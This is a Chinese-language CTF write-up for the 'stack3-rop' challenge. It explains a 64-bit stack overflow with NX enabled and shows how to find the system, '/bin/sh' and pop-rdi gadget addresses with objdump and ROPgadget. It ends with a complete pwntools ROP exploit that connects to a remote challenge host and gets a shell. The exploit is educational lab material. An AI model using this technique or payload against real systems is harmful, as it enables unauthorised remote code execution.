zoukankan      html  css  js  c++  java
  • Lilac Pwn stack3-rop Writeup

    题目链接

    文件类型是 64 位 ELF。

    开了 NX 保护。

    用 IDA64 查看一下:

    可以看到可以栈溢出。

    objdump -d stack3 | grep 'plt'
    

    可以看到有 system 函数,地址为 0x400600

    ROPgadget --binary stack3 --string '/bin/sh'
    

    可以看到有字符串 "/bin/sh",地址为 0x4008a4

    由于是 64 位,参数先保存在 RDIRSIRDXRCXR8R9,然后才是栈。

    查看是否有可利用的 gadgets:

    ROPgadget --binary stack3 --only 'pop|ret' | grep 'rdi'
    

    找到一条。

    那么可以构造 exp 了:

    from pwn import *
    
    # p = process("./stack3")
    p = remote("47.94.239.235", 2023)
    
    poprdi_addr = 0x400883
    system_addr = 0x400600
    binsh_addr = 0x4008a4
    
    payload = b'a' * (0x20 + 0x8) + p64(poprdi_addr) + p64(binsh_addr) + p64(system_addr)
    
    p.sendline(payload)
    
    p.interactive()
    

    可以看到成功拿到 shell。

  • 相关阅读:

    删与改

    基本操作
    名词解释
    Python内置函数(11)——complex
    Python内置函数(10)——float
    Python内置函数(9)——int
    Python内置函数(8)——bool
    Python内置函数(7)——sum
  • 原文地址:https://www.cnblogs.com/wulitaotao/p/13909434.html
Copyright © 2011-2022 走看看